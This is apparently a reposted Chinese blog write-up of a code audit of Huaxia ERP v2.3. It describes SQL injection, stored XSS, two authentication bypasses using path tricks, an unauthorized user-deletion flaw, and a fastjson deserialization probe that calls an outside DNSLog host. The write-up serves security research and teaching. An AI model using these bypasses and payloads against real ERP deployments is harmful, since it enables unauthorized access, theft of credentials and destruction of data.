JAVA代审-华夏ERP_V2.3

admin 2024年9月26日10:56:14评论27 views字数 2908阅读9分41秒阅读模式
 

文章目录
项目介绍项目搭建漏洞挖掘    多处sql注入    多处XSS        第一处        第二处    鉴权绕过        第一种        第二种    垂直越权(用户删除)    fastjson反序列化总结

项目介绍

华夏ERP基于SpringBoot框架和SaaS模式,立志为中小企业提供开源好用的ERP软件,目前专注进销存+财务功能。主要模块有零售管理、采购管理、销售管理、仓库管理、财务管理、报表查询、系统管理等。支持预付款、收入支出、仓库调拨、组装拆卸、订单等特色功能。拥有库存状况、出入库统计等报表。同时对角色和权限进行了细致全面控制,精确到每个按钮和菜单。

技术框架

  • 核心框架:SpringBoot 2.0.0
  • 持久层框架:Mybatis 1.3.2
  • 日志管理:Log4j 2.10.0
  • JS框架:Jquery 1.8.0
  • UI框架: EasyUI 1.9.4
  • 模板框架: AdminLTE 2.4.0
  • 项目管理框架: Maven 3.2.3

项目搭建

源码地址:https://gitee.com/jishenghua/JSH_ERP/archive/refs/tags/v2.3.zip

源码下载到本地,IDEA打开,等待MAVEN加载

根据配置文件修改数据库配置

jshERP-2.3srcmainresourcesapplication.properties

JAVA代审-华夏ERP_V2.3

创建对应数据库,并导入数据库文件

sql文件:jshERP-2.3docsjsh_erp.sql

JAVA代审-华夏ERP_V2.3

导入完成后,spring boot启动项目

JAVA代审-华夏ERP_V2.3

账号:jsh/123456

JAVA代审-华夏ERP_V2.3

漏洞挖掘

多处sql注入

老规矩,先判断使用技术

JAVA代审-华夏ERP_V2.3

使用mybatis,搜索关键词${

JAVA代审-华夏ERP_V2.3

有不少,这里点第一个进去看一下

JAVA代审-华夏ERP_V2.3

参数是name,对应dao层方法名为selectByCinditionRole,转到dao层

JAVA代审-华夏ERP_V2.3

往上跟这个方法

JAVA代审-华夏ERP_V2.3

JAVA代审-华夏ERP_V2.3

接着跟,跟到功能层

JAVA代审-华夏ERP_V2.3

这里可以看到name的获取,是来源于search里面,获取到的是map类型也就是键值对,接着往上跟看下这个search是那里来的

JAVA代审-华夏ERP_V2.3

JAVA代审-华夏ERP_V2.3

JAVA代审-华夏ERP_V2.3

跟到了功能层,这里其实是通用的功能层代码,也就是,多处sql注入都是调用这段代码,什么意思呢?

如果你自己尝试跟了几处${,会发现最后都会跟到这一处功能层代码来,因为它是通用的,那么不同的是什么呢,是路由的访问路径,它会根据/{apiName}/的不同触发对应的功能点,但是主要是访问/list就会触发这里

那么如何确认那个路由的search参数里的键是name呢?

我还没总结出来,有一个相对笨的方法,参数是name,那么就使用burp测试功能点,寻找访问路由为/xxx/list,search中存在name的数据包,那个就是对应的功能点

JAVA代审-华夏ERP_V2.3

这里可以用数据库监控看下是否有语句执行

JAVA代审-华夏ERP_V2.3

可以看到有,但是这里没有报错注入,可以使用时间盲注

多处XSS

这套系统有很多提交表单的地方,并且会在前端回显,一不注意就会产生XSS

第一处

在创建商品处

JAVA代审-华夏ERP_V2.3

JAVA代审-华夏ERP_V2.3

哇,这么多框,这谁顶得住

这个要测试哪处有,最简单的就是全插

JAVA代审-华夏ERP_V2.3

JAVA代审-华夏ERP_V2.3

保存回显XSS3,只有这一个单位这个字段有XSS

只要到选择商品就会触发

JAVA代审-华夏ERP_V2.3

第二处

JAVA代审-华夏ERP_V2.3

这里三个表单都有

鉴权绕过

先判断使用技术,看是否存在jwt和shiro

查看pom.xml文件,没发现,去看是否存在filter层

JAVA代审-华夏ERP_V2.3

存在,并且只有一个文件,点进去看下,看这个名字就是登入相关的

第一种

JAVA代审-华夏ERP_V2.3

熟悉的代🐎

这里先判断用户是否登入,userInfo是否为null,没登入的话肯定是不满足的,我们往下看

requestUrl != null && (requestUrl.contains("/doc.html") requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))

判断requestUrl不为null,并且访问路径包含doc.html || register.html || login.html 就放行

由于使用的是contains方法,只要包含就行,我们可以构造这样的url

127.0.0.1:8080/login.html/../xxx/xxxx这里就满足条件还可以访问后台功能点

我这里随便找一个功能点

JAVA代审-华夏ERP_V2.3

现在是登入状态,可以看到有数据回显,退出登入再发包

JAVA代审-华夏ERP_V2.3

可以看到返回302跳转,我们构造访问路由

JAVA代审-华夏ERP_V2.3

有返回数据,存在绕过

第二种

JAVA代审-华夏ERP_V2.3

看下代码解释

该Java注释定义了一个名为LogCostFilter的Web过滤器,用于拦截几乎所有网站路径(/*)。它具有两个初始化参数:ignoredUrl:值为.css#.js#.jpg#.png#.gif#.ico,表示过滤器将忽略这些文件类型的请求。filterPath:值为/user/login#/user/registerUser#/v2/api-docs,指定特定路径,但该参数值格式似乎有误,应为实际路径列表。

可以理解为访问路由中存在上面的值,就不会进行鉴权

JAVA代审-华夏ERP_V2.3

这种利用和第一处一样,还有一种

JAVA代审-华夏ERP_V2.3

这个也比较好理解,访问路由中存在.ico,就会绕过鉴权,而在Servlet容器中,;后面的内容通常不会影响实际的请求处理路径,;后面的内容会进行截断也就是说实际访问的路径还是/user/getAllList

这里两处鉴权都可以用于访问/user/getAllList这个接口,这个接口会回显网站所有用户的账号密码,密码要md5碰撞解密

垂直越权(用户删除)

在后台有用户删除的功能(管理员才有),抓包看下

JAVA代审-华夏ERP_V2.3

对应路由是deleteUser,控制参数是ids

定位代码段

JAVA代审-华夏ERP_V2.3

这里没有看鉴权,跟进batDeleteUser方法

JAVA代审-华夏ERP_V2.3

这里也没有看到鉴权方法,而是接收ids的值进行批量删除,那么这里就存在问题

没有对用户进行鉴权,那么普通用户也可以进行删除,接口也没有限制访问

登入个普通用户,替换cookie

JAVA代审-华夏ERP_V2.3

JAVA代审-华夏ERP_V2.3

成功删除

除此之外还有部分用户操作没有鉴权,比如用户信息修改等等,感兴趣的可以自行下去测试

fastjson反序列化

项目中引入了fastjson

JAVA代审-华夏ERP_V2.3

版本为1.2.55

全局搜索JSON.paeseObject(

JAVA代审-华夏ERP_V2.3

可以看到有不少,我这里随便点一处看参数是否可控

JAVA代审-华夏ERP_V2.3

这里参数可控,我们尝试构造访问路由访问

JAVA代审-华夏ERP_V2.3

测试个简单的dns链

{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}

JAVA代审-华夏ERP_V2.3

收到回显,接下来尝试后续利用,找个版本符合的绕过链

仓库:https://github.com/safe6Sec/Fastjson

这个实话实话,我试了几个,不行

应该是有的,但是我没找到,

2022年的蓝帽杯有一题赌怪用的就是华夏erp

参考链接:https://cloud.tencent.com/developer/article/2118748

感兴趣的可以自己下去尝试,就是跑链

总结

这套系统的漏洞应该还有,不局限于我文章中写到的基础,代码中有文件上传代码,是安装插件的,但是网站我没找到安装插件的功能,fastjson链的利用,我在网上找了很多篇文章,这套系统关于这个点只到dns,所以我目前也不知道哪条链可以用,通过爆破应该可以试出来。

原文始发于微信公众号(菜狗安全):JAVA代审-华夏ERP_V2.3

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月26日10:56:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA代审-华夏ERP_V2.3https://cn-sec.com/archives/3209155.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息